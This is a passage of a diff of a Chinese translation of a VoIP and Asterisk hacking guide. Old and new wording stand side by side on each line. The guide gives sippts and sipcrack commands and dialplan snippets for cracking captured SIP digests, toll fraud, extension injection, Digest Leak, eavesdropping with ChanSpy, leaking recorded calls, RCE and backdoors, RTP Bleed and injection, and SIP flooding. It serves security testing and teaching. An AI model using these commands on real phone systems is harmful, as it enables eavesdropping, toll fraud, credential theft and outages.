要获取这些信息您可以使用诸如Wireshark、tcpdump之类的工具...但一个**专门创建的用于窃听VoIP对话的工具是**[**ucsniff**](https://github.com/Seabreg/ucsniff)。 在网络信息中,你可能会找到**管理设备的网页凭证**、用户**分机**、**用户名**、**IP**地址,甚至**哈希密码**和**RTP数据包**,你可以重放这些数据包以**听到对话**,等等。
要获取这些信息你可以使用Wireshark、tcpdump等工具……但一个**专门创建的嗅探VoIP对话的工具是** [**ucsniff**](https://github.com/Seabreg/ucsniff)。
{% hint style="danger" %} {% hint style="danger" %}
请注意,如果**SIP通信中使用TLS**,您将无法清楚地看到SIP通信。\ 请注意,如果**SIP通信中使用了TLS**,你将无法看到明文的SIP通信。\
如果使用**SRTP**和**ZRTP****RTP数据包将不会以明文形式显示**。 如果使用**SRTP**和**ZRTP****RTP数据包将不会是明文**。
{% endhint %} {% endhint %}
#### SIP凭(密码暴力破解 - 离线) #### SIP凭(密码暴力破解 - 离线)
[查看此示例以更好地了解**SIP REGISTER通信**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example)以了解**凭据是如何发送的**。 [查看这个例子以更好地理解**SIP REGISTER通信**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example),以了解**凭证是如何发送的**。
* **`sipdump`****`sipcrack`,** 是**sipcrack**的一部分(`apt-get install sipcrack`):这些工具可以**pcap****提取**SIP协议中的**摘要认证**对其进行**暴力破解**。 * **`sipdump`**和**`sipcrack`**是**sipcrack**的一部分(`apt-get install sipcrack`):这些工具可以**pcap中提取**SIP协议中的**摘要认证**并进行**暴力破解**。
```bash ```bash
sipdump -p net-capture.pcap sip-creds.txt sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt sipcrack sip-creds.txt -w dict.txt
``` ```
* **`SIPPTS dump`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**** SIPPTS dump 可以从一个 pcap 文件中提取摘要认证。 * **`SIPPTS dump`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dump 可以从 pcap 文件中提取摘要认证。
```bash ```bash
sippts dump -f capture.pcap -o data.txt sippts dump -f capture.pcap -o data.txt
``` ```
* **`SIPPTS dcrack`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**** SIPPTS dcrack 是一个用于破解使用 SIPPTS dump 获得的摘要认证的工具。 * **`SIPPTS dcrack`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack 是一个用于破解通过 SIPPTS dump 获得的摘要认证的工具。
```bash ```bash
sippts dcrack -f data.txt -w wordlist/rockyou.txt sippts dcrack -f data.txt -w wordlist/rockyou.txt
``` ```
* **`SIPPTS tshark`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**** SIPPTS tshark 从 PCAP 文件中提取 SIP 协议的数据。 * **`SIPPTS tshark`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS tshark 从 PCAP 文件中提取 SIP 协议的数据。
```bash ```bash
sippts tshark -f capture.pcap [-filter auth] sippts tshark -f capture.pcap [-filter auth]
``` ```
#### DTMF codes #### DTMF 代码
**不仅可以在网络流量中找到 SIP 凭据**,还可以找到用于访问**语音信箱**的 DTMF 代码。\ **不仅可以在网络流量中找到 SIP 凭据**,还可以找到用于访问 **语音邮件** 的 DTMF 代码。\
可以将这些代码发送在**INFO SIP 消息**中,以**音频**或者**RTP 数据包**的形式。如果这些代码在 RTP 数据包中,您可以截取对话的这部分内容,并使用工具 multimo 来提取它们: 这些代码可以在 **INFO SIP 消息**、**音频** 或 **RTP 数据包** 中发送。如果代码在 RTP 数据包中,您可以剪切对话的那部分并使用工具 multimo 提取它们:
```bash ```bash
multimon -a DTMF -t wac pin.wav multimon -a DTMF -t wac pin.wav
``` ```
### 免费通话 / Asterisks 连接配置错误 ### 免费通话 / Asterisks 连接配置错误
在 Asterisk 中,可以允许来自**特定 IP 地址**或**任何 IP 地址**的连接: 在 Asterisk 中,可以允许来自 **特定 IP 地址** 的连接来自 **任何 IP 地址** 的连接:
``` ```
host=10.10.10.10 host=10.10.10.10
host=dynamic host=dynamic
``` ```
如果指定了IP地址主机**不需要定期发送REGISTER**请求在REGISTER数据包中发送的生存时间通常为30分钟这意味着在其他情况下电话将需要每30分钟进行注册。但是它需要打开端口允许来自VoIP服务器的连接以接听电话。 如果指定了IP地址主机**将不需要每隔一段时间发送REGISTER**请求在REGISTER数据包中发送了生存时间通常为30分钟这意味着在其他情况下电话将需要每30分钟REGISTER一次。然而它需要开放端口以允许VoIP服务器进行通话。
要定义用户,可以定义为: 要定义用户,可以定义为:
- **`type=user`**:用户只能作为用户接收呼叫 * **`type=user`**:用户只能接收电话
- **`type=friend`**:可以作为对等体执行呼叫并作为用户接收呼叫(与分机一起使用) * **`type=friend`**:可以作为对等方进行通话并作为用户接收通话(与分机一起使用)
- **`type=peer`**:可以作为对等体发送和接收呼叫SIP-trunks * **`type=peer`**:可以作为对等方发送和接收通话SIP-trunks
还可以通过不安全变量建立信任: 还可以通过不安全变量建立信任:
- **`insecure=port`**允许通过IP验证对等连接。 * **`insecure=port`**允许通过IP验证对等连接。
- **`insecure=invite`**不需要对INVITE消息进行身份验证 * **`insecure=invite`**不需要对INVITE消息进行身份验证
- **`insecure=port,invite`**:两者都需要 * **`insecure=port,invite`**:两者都可以
{% hint style="warning" %} {% hint style="warning" %}
当使用**`type=friend`**时,**主机**变量的**值将不会被使用**,因此,如果管理员**错误配置了使用该值的SIP-trunk****任何人都可以连接到它**。 当使用**`type=friend`**时,**host**变量的**值**将**不被使用**,因此如果管理员**错误配置SIP-trunk**使用该值,**任何人都将能够连接到它**。
例如,此配置将存在漏洞\ 例如,这种配置将是脆弱的\
`host=10.10.10.10`\ `host=10.10.10.10`\
`insecure=port,invite`\ `insecure=port,invite`\
`type=friend` `type=friend`
{% endhint %} {% endhint %}
### 免费通话 / Asterisks 上下文错误配置 ### 免费通话 / Asterisks上下文错误配置
在Asterisk中**上下文**是拨号计划中的命名容器或部分,**将相关的分机、动作和规则分组在一起**。拨号计划是Asterisk系统的核心组件因为它定义了**如何处理和路由传入和传出的呼叫**。上下文用于组织拨号计划,管理访问控制,并在系统的不同部分之间提供分隔 在Asterisk中**上下文**是拨号计划中一个命名的容器或部分,**将相关的分机、操作和规则组合在一起**。拨号计划是Asterisk系统的核心组件因为它定义了**如何处理和路由来电和去电**。上下文用于组织拨号计划、管理访问控制,并提供系统不同部分之间的分离
每个上下文在配置文件中定义,通常在**`extensions.conf`**文件中。上下文由方括号表示,其中包含上下文名称。例如: 每个上下文在配置文件中定义,通常在**`extensions.conf`**文件中。上下文用方括号表示,上下文名称包含在其中。例如:
```bash ```bash
csharpCopy code[my_context] csharpCopy code[my_context]
``` ```
在上下文中,您定义分机(拨号号码的模式)并将它们与一系列操作或应用程序关联起来。这些操作决定了呼叫的处理方式。例如: 在上下文中,您定义扩展(拨打号码的模式)并将其与一系列操作或应用程序关联。这些操作决定了电话的处理方式。例如:
```scss ```scss
[my_context] [my_context]
exten => 100,1,Answer() exten => 100,1,Answer()
exten => 100,n,Playback(welcome) exten => 100,n,Playback(welcome)
exten => 100,n,Hangup() exten => 100,n,Hangup()
``` ```
这个示例演示了一个名为"my\_context"的简单上下文,其中包含一个分机"100"。当有人拨打100时通话将被接听播放欢迎消息然后通话将被终止。 这个示例演示了一个简单的上下文,称为 "my\_context",扩展名为 "100"。当有人拨打 100 时,电话将被接听,播放欢迎消息,然后电话将被终止。
这是**另一个上下文**,允许**拨打任何其他号码** 这是 **另一个上下文**,允许 **拨打任何其他号码**
```scss ```scss
[external] [external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN}) exten => _X.,1,Dial(SIP/trunk/${EXTEN})
``` ```
如果管理员将**默认上下文**定义为: 如果管理员将 **默认上下文** 定义为:
``` ```
[default] [default]
include => my_context include => my_context
include => external include => external
``` ```
{% hint style="warning" %} {% hint style="warning" %}
任何人都可以使用**服务器拨打任何其他号码**(服务器管理员将为通话付费)。 任何人都可以使用 **服务器拨打任何其他号码**(服务器管理员将为通话付费)。
{% endhint %} {% endhint %}
{% hint style="danger" %} {% hint style="danger" %}
此外,默认情况下**`sip.conf`**文件包含**`allowguest=true`**,因此**任何**未经身份验证的攻击者都可以拨打任何其他号码。 此外,默认情况下 **`sip.conf`** 文件包含 **`allowguest=true`**,因此 **任何** 攻击者在 **没有认证** 的情况下都能够拨打任何其他号码。
{% endhint %} {% endhint %}
* **`SIPPTS invite`** 来自[sippts](https://github.com/Pepelux/sippts)**** SIPPTS invite检查**PBX服务器是否允许我们在没有身份验证的情况下拨打电话**。如果SIP服务器配置不正确,它将允许我们拨打外部号码。它还可以允许我们将通话转到第二个外部号码。 * **`SIPPTS invite`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite 检查 **PBX 服务器是否允许我们在没有认证的情况下拨打电话**。如果 SIP 服务器配置不正确,它将允许我们拨打外部号码。它还可以允许我们将通话转到第二个外部号码。
例如如果您的Asterisk服务器具有错误的上下文配置您可以接受未经授权的INVITE请求。在这种情况下攻击者可以在不知道任何用户/密码的情况下拨打电话。 例如,如果您的 Asterisk 服务器有不良的上下文配置,您可以在没有授权的情况下接受 INVITE 请求。在这种情况下,攻击者可以在不知道任何用户/密码的情况下拨打电话。
{% code overflow="wrap" %}
```bash ```bash
# Trying to make a call to the number 555555555 (without auth) with source number 200. # Trying to make a call to the number 555555555 (without auth) with source number 200.
sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v
@ -410,21 +417,21 @@ sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
``` ```
{% endcode %} {% endcode %}
### 免费话 / 配置错误的 IVRS ### 免费话 / 配置错误的 IVRS
IVRS 代表**交互式语音应系统**,是一种电话技术,允许用户通过语音或按键输入与计算机系统进行交互。IVRS 用于构建**自动呼叫处理**系统,提供一系列功能,如提供信息、路由呼叫和捕获用户输入。 IVRS 代表 **交互式语音应系统**是一种电话技术允许用户通过语音或按键输入与计算机系统进行交互。IVRS 用于构建 **自动呼叫处理** 系统,提供一系列功能,如提供信息、路由电话和捕获用户输入。
VoIP 系统中的 IVRS 通常包括: VoIP 系统中的 IVRS 通常包括:
1. **语音提示**预先录制的音频消息,指导用户浏览 IVR 菜单选项和说明 1. **语音提示**引导用户通过 IVR 菜单选项和说明的预录音频消息
2. **DTMF**(双音多频)信号:通过在电话上按键生成的按键输入,用于浏览 IVR 菜单并提供输入。 2. **DTMF**(双音多频)信号:通过按下电话上的按键生成的触摸音输入,用于在 IVR 菜单中导航和提供输入。
3. **呼叫路由**:根据用户输入将呼叫定向到适当的目的地,如特定部门、代理或分机。 3. **呼叫路由**:根据用户输入将电话直接转接到适当的目的地,如特定部门、代理或分机。
4. **用户输入捕获**从呼叫者收集信息,如帐号号码、案例 ID 或任何其他相关数据。 4. **用户输入捕获**收集来电者的信息,如账户号码、案件 ID 或任何其他相关数据。
5. **与外部系统集成**:将 IVR 系统连接到数据库或其他软件系统,以访问或更新信息执行操作或触发事件。 5. **与外部系统集成**:将 IVR 系统连接到数据库或其他软件系统,以访问或更新信息执行操作或触发事件。
在 Asterisk VoIP 系统中,您可以使用拨号计划(**`extensions.conf`** 文件)和各种应用程序(如 `Background()`、`Playback()`、`Read()` 等)创建 IVR。这些应用程序帮助您播放语音提示捕获用户输入并控制呼叫流程。 在 Asterisk VoIP 系统中,您可以使用拨号计划(**`extensions.conf`** 文件)和各种应用程序(如 `Background()`、`Playback()`、`Read()` 等)创建 IVR。这些应用程序帮助您播放语音提示捕获用户输入并控制呼叫流程。
#### 易受攻击配置示例 #### 漏洞配置示例
```scss ```scss
exten => 0,100,Read(numbers,the_call,,,,5) exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200) exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
@ -432,40 +439,40 @@ exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100) exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers}) exten => 0,104,Dial(LOCAL/${numbers})
``` ```
前面是一个示例,用户被要求**按1拨打**一个部门,**按2拨打**另一个部门,或者**输入完整分机号码**(如果知道的话)。 之前的例子中,用户被要求**按1拨打**一个部门,**按2拨打**另一个部门,或者**如果他知道完整的分机号**,则输入完整的分机号。\
漏洞在于指定的**分机号长度没有经过检查,因此用户可以输入完整号码并拨打。** 漏洞在于所指示的**分机长度没有被检查因此用户可以输入5秒超时的完整号码并进行拨打。**
### 分机注入 ### 分机注入
使用分机号码,例如 使用如下分机:
```scss ```scss
exten => _X.,1,Dial(SIP/${EXTEN}) exten => _X.,1,Dial(SIP/${EXTEN})
``` ```
在**`${EXTEN}`**是将要被呼叫的**分机号**时,当输入**ext 101**时会发生以下情况: **`${EXTEN}`** 是将被拨打的 **分机** 时,当 **ext 101 被引入** 时,将会发生以下情况:
```scss ```scss
exten => 101,1,Dial(SIP/101) exten => 101,1,Dial(SIP/101)
``` ```
然而,如果 **`${EXTEN}`** 允许输入**不仅限于数字**就像在旧版的Asterisk中攻击者可以输入 **`101&SIP123123123`** 来拨打电话号码123123123。这将导致以下结果: 然而,如果 **`${EXTEN}`** 允许输入 **超过数字**(如在旧版 Asterisk 中),攻击者可以输入 **`101&SIP123123123`** 来拨打电话号码 123123123。这将是结果:
```scss ```scss
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123) exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
``` ```
因此,对分机**`101`**和**`123123123`**的呼叫将被发送,只有第一个接听呼叫的分机会建立连接...但如果攻击者使用一个**绕过任何匹配**的分机,该分机正在执行匹配但不存在,他可以**注入呼叫只到期望的号码** 因此,对分机 **`101`** 和 **`123123123`** 的呼叫将被发送,只有第一个接到电话的分机会建立连接……但是如果攻击者使用一个 **绕过任何匹配** 的分机,该分机并不存在,他可以 **仅向所需号码注入一个呼叫**
## SIPDigestLeak漏洞 ## SIPDigestLeak 漏洞
SIP Digest Leak是一种影响大量SIP电话的漏洞包括硬件和软件IP电话以及电话适配器VoIP到模拟电话。该漏洞允许**泄露Digest认证响应**,该响应是根据密码计算的。然后可以进行**离线密码攻击**,并且可以根据挑战响应恢复大多数密码。 SIP Digest Leak 是一个影响大量 SIP 电话的漏洞,包括硬件和软件 IP 电话以及电话适配器VoIP 转模拟)。该漏洞允许 **泄露 Digest 认证响应**,该响应是根据密码计算的。然后可以进行 **离线密码攻击**,并根据挑战响应恢复大多数密码。
**[从这里开始的漏洞场景**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf): **[漏洞场景来自这里**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
1. 一个IP电话受害者正在侦听任何端口例如5060接受电话 1. 一部 IP 电话受害者在任何端口上监听例如5060接受电话呼叫
2. 攻击者向IP电话发送INVITE 2. 攻击者向 IP 电话发送 INVITE
3. 受害者电话开始响铃,有人接听并挂断(因为另一端没有人接电话) 3. 受害者电话开始响铃,有人接听并挂断(因为另一端没有人接电话)
4. 当电话挂断时,**受害者电话向攻击者发送一个BYE** 4. 当电话挂断时,**受害者电话向攻击者发送 BYE**
5. **攻击者发出一个407响应****要求进行身份验证**并发出一个身份验证挑战 5. **攻击者发出 407 响应****请求认证**并发出认证挑战
6. **受害者电话在第二个BYE中对身份验证挑战提供响应** 6. **受害者电话在第二个 BYE 中提供对认证挑战的响应**
7. **攻击者然后可以在本地机器上(或分布式网络等)对挑战响应进行暴力破解攻击**猜测密码 7. **攻击者可以在他的本地机器上(或分布式网络等)对挑战响应进行暴力破解攻击**猜测密码
* **SIPPTS泄漏**来自[**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS泄漏利用了影响大量SIP电话的SIP Digest Leak漏洞。输出可以保存为SipCrack格式以便使用SIPPTS dcrack或SipCrack工具进行暴力破解。 * **SIPPTS 漏洞**来自 [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS 漏洞利用了影响大量 SIP 电话的 SIP Digest Leak 漏洞。输出可以以 SipCrack 格式保存,以便使用 SIPPTS dcrack 或 SipCrack 工具进行暴力破解。
```bash ```bash
sippts leak -i 10.10.0.10 sippts leak -i 10.10.0.10
@ -486,11 +493,11 @@ sippts leak -i 10.10.0.10
Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5 Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5
``` ```
### 点击通话 ### Click2Call
Click2Call允许一个**网页用户**(例如可能对某个产品感兴趣)**输入**他的**电话号码**以便接到电话。然后会拨打一个商业电话,当他**接听电话**时,用户将被**呼叫并与代理人连接** Click2Call 允许一个 **网络用户**(例如可能对某个产品感兴趣) **提供** 他的 **电话号码** 以接收电话。然后会拨打一个商业电话,当他 **接听电话** 时,用户将 **被呼叫并与代理连接**
一个常见的Asterisk配置文件是 一个常见的 Asterisk 配置文件是:
```scss ```scss
[web_user] [web_user]
secret = complex_password secret = complex_password
@ -500,27 +507,29 @@ displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate write = system,call,agent,user,config,command,reporting,originate
``` ```
* 先前的配置允许**任何IP地址连接**(如果知道密码)。 * 之前的配置允许 **任何 IP 地址连接**(如果密码已知)。
* 要像之前指定的那样**发起呼叫****不需要读取权限**,只需要**写入**中的**发起**权限 * 要 **组织一个电话**,如前所述,**不需要读取权限****只需要** **在写入中** **发起**
有了这些权限任何知道密码的IP都可以连接并提取过多信息比如 拥有这些权限的任何知道密码的 IP 都可以连接并提取过多信息,例如:
{% code overflow="wrap" %}
```bash ```bash
# Get all the peers # Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3 exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
``` ```
{% endcode %} {% endcode %}
**更多信息或操作可能会被请求。** **更多信息或操作可被请求。**
### **窃听** ### **窃听**
Asterisk中可以使用命令**`ChanSpy`**指定要监听的**分机号码**(或全部分机号码)来窃听正在进行的对话。这个命令需要分配给一个分机号码 Asterisk 中,可以使用命令 **`ChanSpy`** 指定要监控的 **分机**(或所有分机)来听取正在进行的对话。此命令需要分配给一个分机
例如,**`exten => 333,1,ChanSpy('all',qb)`** 表示如果您**拨打**分机号码**333**,它将**监听**所有分机号码,**在新对话开始时****`b`**)以安静模式(**`q`**)开始收听,因为我们不希望干扰。您可以通过按下**`*`**键或标记分机号码来从一次对话切换到另一次对话 例如,**`exten => 333,1,ChanSpy('all',qb)`** 表示如果**拨打** **分机 333**,它将 **监控** **`all`** 的分机,**开始监听** 每当新的对话开始时 (**`b`**) 以静音模式 (**`q`**) 进行,因为我们不想进行互动。你可以通过按 **`*`** 或输入分机号码在进行的对话之间切换
还可以使用**`ExtenSpy`**来仅监视一个分机号码 也可以使用 **`ExtenSpy`** 仅监控一个分机
除了收听对话,还可以使用诸如以下分机号码之类的分机号码**将它们记录在文件中** 除了监听对话外,还可以使用分机将其 **录制到文件中**,例如:
{% code overflow="wrap" %} {% code overflow="wrap" %}
```scss ```scss
@ -530,71 +539,71 @@ exten => _X.,2,MixMonitor(${NAME})
``` ```
{% endcode %} {% endcode %}
通话将保存在 **`/tmp`** 通话将保存在 **`/tmp`**。
您甚至可以让Asterisk执行一个脚本在通话关闭时泄漏通话内容 您甚至可以让 Asterisk **在通话结束时执行一个脚本以泄露通话**
```scss ```scss
exten => h,1,System(/tmp/leak_conv.sh &) exten => h,1,System(/tmp/leak_conv.sh &)
``` ```
### RTCPBleed漏洞 ### RTCPBleed 漏洞
**RTCPBleed**是一个影响基于Asterisk的VoIP服务器的重大安全问题于2017年发布。该漏洞允许**RTP实时传输协议流量**即VoIP通话被任何互联网上的人**拦截和重定向**。这是因为当RTP流量通过NAT网络地址转换防火墙时会绕过身份验证。 **RTCPBleed** 是一个影响基于 Asterisk 的 VoIP 服务器的重大安全问题(发布于 2017 年)。该漏洞允许 **RTP实时传输协议流量**,即承载 VoIP 通话的流量,被 **互联网上的任何人拦截和重定向**。这是因为 RTP 流量在通过 NAT网络地址转换防火墙时绕过了身份验证。
RTP代理试图解决影响RTC系统的**NAT限制**通过在两个或多个方之间代理RTP流。当存在NAT时RTP代理软件通常无法依赖通过信令例如SIP检索的RTP IP和端口信息。因此许多RTP代理已经实现了一种机制其中这样的**IP和端口元组会被自动学习**。通常通过检查传入的RTP流量并将任何传入RTP流量的源IP和端口标记为应该响应的IP和端口来完成。这种机制可能被称为“学习模式”,**不使用任何形式的身份验证**。因此,**攻击者**可以**向RTP代理发送RTP流量**并接收到本应发送给正在进行的RTP流的呼叫方或被叫方的代理RTP流量。我们将这种漏洞称为RTP Bleed因为它允许攻击者接收本应发送给合法用户的RTP媒体流。 RTP 代理尝试通过在两个或多个参与者之间代理 RTP 流来解决影响 RTC 系统的 **NAT 限制**。当 NAT 存在时RTP 代理软件通常无法依赖通过信令(例如 SIP获取的 RTP IP 和端口信息。因此,一些 RTP 代理实现了一种机制,使得这样的 **IP 和端口元组能够自动学习**。这通常是通过检查传入的 RTP 流量并将任何传入 RTP 流量的源 IP 和端口标记为应响应的来完成的。这种机制可能被称为“学习模式”,**不使用任何形式的身份验证**。因此,**攻击者** 可以 **向 RTP 代理发送 RTP 流量**,并接收原本应发送给正在进行的 RTP 流的呼叫者或被呼叫者的代理 RTP 流量。我们称这种漏洞为 RTP Bleed因为它允许攻击者接收原本应发送给合法用户的 RTP 媒体流。
RTP代理和RTP堆栈的另一个有趣行为是有时**即使不容易受到RTP Bleed的影响**,它们也会**接受、转发和/或处理来自任何源的RTP数据包**。因此攻击者可以发送RTP数据包这可能允许他们将自己的媒体注入到合法媒体中。我们将这种攻击称为RTP注入因为它允许将非法的RTP数据包注入到现有的RTP流中。这种漏洞可能存在于RTP代理和端点中 RTP 代理和 RTP 堆栈的另一个有趣行为是,有时 **即使不易受 RTP Bleed 漏洞影响**,它们仍会 **接受、转发和/或处理来自任何源的 RTP 数据包**。因此,攻击者可以发送 RTP 数据包,这可能允许他们注入自己的媒体,而不是合法的媒体。我们称这种攻击为 RTP 注入,因为它允许将不合法的 RTP 数据包注入到现有的 RTP 流中。此漏洞可能在 RTP 代理和端点中发现
Asterisk和FreePBX传统上使用**`NAT=yes`设置**这使得RTP流量可以绕过身份验证,可能导致通话中没有音频或单向音频。 Asterisk 和 FreePBX 传统上使用 **`NAT=yes` 设置**,这使得 RTP 流量能够绕过身份验证,可能导致通话中没有音频或单向音频。
有关更多信息,请查看[https://www.rtpbleed.com/](https://www.rtpbleed.com/) 有关更多信息,请查看 [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
* **`SIPPTS rtpbleed`** 来自[**sippts**](https://github.com/Pepelux/sippts)**** SIPPTS rtpbleed检测RTP Bleed漏洞发送RTP流 * **`SIPPTS rtpbleed`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed 通过发送 RTP 流来检测 RTP Bleed 漏洞
```bash ```bash
sippts rtpbleed -i 10.10.0.10 sippts rtpbleed -i 10.10.0.10
``` ```
* **`SIPPTS rtcpbleed`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**** SIPPTS rtcpbleed 通过发送 RTCP 流来检测 RTP Bleed 漏洞。 * **`SIPPTS rtcpbleed`**来自[**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed 通过发送 RTCP 流来检测 RTP Bleed 漏洞。
```bash ```bash
sippts rtcpbleed -i 10.10.0.10 sippts rtcpbleed -i 10.10.0.10
``` ```
* **`SIPPTS rtpbleedflood`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**** SIPPTS rtpbleedflood 利用 RTP Bleed 漏洞发送 RTP 流。 * **`SIPPTS rtpbleedflood`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood 利用 RTP Bleed 漏洞发送 RTP 流。
```bash ```bash
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
``` ```
* **`SIPPTS rtpbleedinject`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**** SIPPTS rtpbleedinject 利用 RTP Bleed 漏洞注入音频文件WAV 格式)。 * **`SIPPTS rtpbleedinject`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedinject 利用 RTP Bleed 漏洞注入音频文件WAV 格式)。
```bash ```bash
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
``` ```
### RCE ### RCE
Asterisk中如果你设法能够**添加分机规则并重新加载它们**例如通过入侵一个存在漏洞的Web管理服务器就有可能使用**`System`**命令实现远程代码执行 Asterisk 中,如果你以某种方式能够 **添加扩展规则并重新加载它们**(例如,通过攻陷一个易受攻击的网络管理服务器),则可以使用 **`System`** 命令获得 RCE
```scss ```scss
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt) same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
``` ```
有一个名为**`Shell`**的命令,可以在必要时用来执行系统命令,**而不是使用`System`** 有一个命令叫 **`Shell`**,可以在必要时 **替代 `System`** 来执行系统命令
{% hint style="warning" %} {% hint style="warning" %}
如果服务器在**`System`**命令中如在Elastix中**禁止使用某些字符**,请检查 Web 服务器是否允许以某种方式在系统内**创建文件**如在Elastix或 trixbox 中),然后使用它来**创建一个后门脚本**,然后使用**`System`**来**执行**该**脚本** 如果服务器 **不允许在 `System`** 命令中使用某些字符(如在 Elastix 中),请检查网络服务器是否允许 **以某种方式在系统内部创建文件**(如在 Elastix 或 trixbox 中),并利用它 **创建一个后门脚本**,然后使用 **`System`** 来 **执行****脚本**
{% endhint %} {% endhint %}
#### 有趣的本地文件和权限 #### 有趣的本地文件和权限
* **`sip.conf`** -> 包含 SIP 用户的密码。 * **`sip.conf`** -> 包含 SIP 用户的密码。
* 如果**Asterisk 服务器以 root 用户身份运行**,则可以妥协 root 用户 * 如果 **Asterisk 服务器以 root 身份运行**,您可能会危害 root。
* **mysql root 用户**可能**没有密码**。 * **mysql root 用户** 可能 **没有任何密码**。
* 这可以用来创建一个新的 mysql 用户作为后门 * 这可以用来创建一个新的 mysql 用户作为后门
* **`FreePBX`** * **`FreePBX`**
* **`amportal.conf`** -> 包含 Web 面板管理员FreePBX的密码 * **`amportal.conf`** -> 包含网络面板管理员FreePBX的密码。
* **`FreePBX.conf`** -> 包含用于访问数据库的用户 FreePBXuser 的密码 * **`FreePBX.conf`** -> 包含用于访问数据库的用户 FreePBXuser 的密码
* 这可以用来创建一个新的 mysql 用户作为后门 * 这可以用来创建一个新的 mysql 用户作为后门
* **`Elastix`** * **`Elastix`**
* **`Elastix.conf`** -> 包含明文密码,如 mysql root 密码、IMAPd 密码、web 管理员密码 * **`Elastix.conf`** -> 包含多个明文密码,如 mysql root 密码、IMAPd 密码、网络管理员密码。
* **多个文件夹**将属于受损的 asterisk 用户(如果不是以 root 用户身份运行)。该用户可以读取先前的文件并控制配置,因此他可以使 Asterisk 在执行时加载其他带有后门二进制文件。 * **多个文件夹** 将属于被攻陷的 asterisk 用户(如果不是以 root 身份运行)。该用户可以读取之前的文件并控制配置,因此他可以使 Asterisk 在执行时加载其他后门二进制文件。
### RTP 注入 ### RTP 注入
可以使用工具如**`rtpinsertsound`**`sudo apt install rtpinsertsound`)和**`rtpmixsound`**`sudo apt install rtpmixsound`)在对话中插入**`.wav`**。 可以使用工具如 **`rtpinsertsound`**`sudo apt install rtpinsertsound`)和 **`rtpmixsound`**`sudo apt install rtpmixsound`)在对话中插入 **`.wav`** 文件
或者您可以使用来自 [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) 的脚本来**扫描对话****`rtpscan.pl`**)、向对话发送 `.wav`**`rtpsend.pl`**)和在对话中**插入噪音****`rtpflood.pl`**)。 或者您可以使用来自 [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) 的脚本来 **扫描对话****`rtpscan.pl`**)、向对话发送 **`.wav`****`rtpsend.pl`**)和 **在对话中插入噪音****`rtpflood.pl`**)。
### DoS ### DoS
@ -602,20 +611,20 @@ same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
* **`SIPPTS flood`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS flood 向目标发送无限消息。 * **`SIPPTS flood`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS flood 向目标发送无限消息。
* `sippts flood -i 10.10.0.10 -m invite -v` * `sippts flood -i 10.10.0.10 -m invite -v`
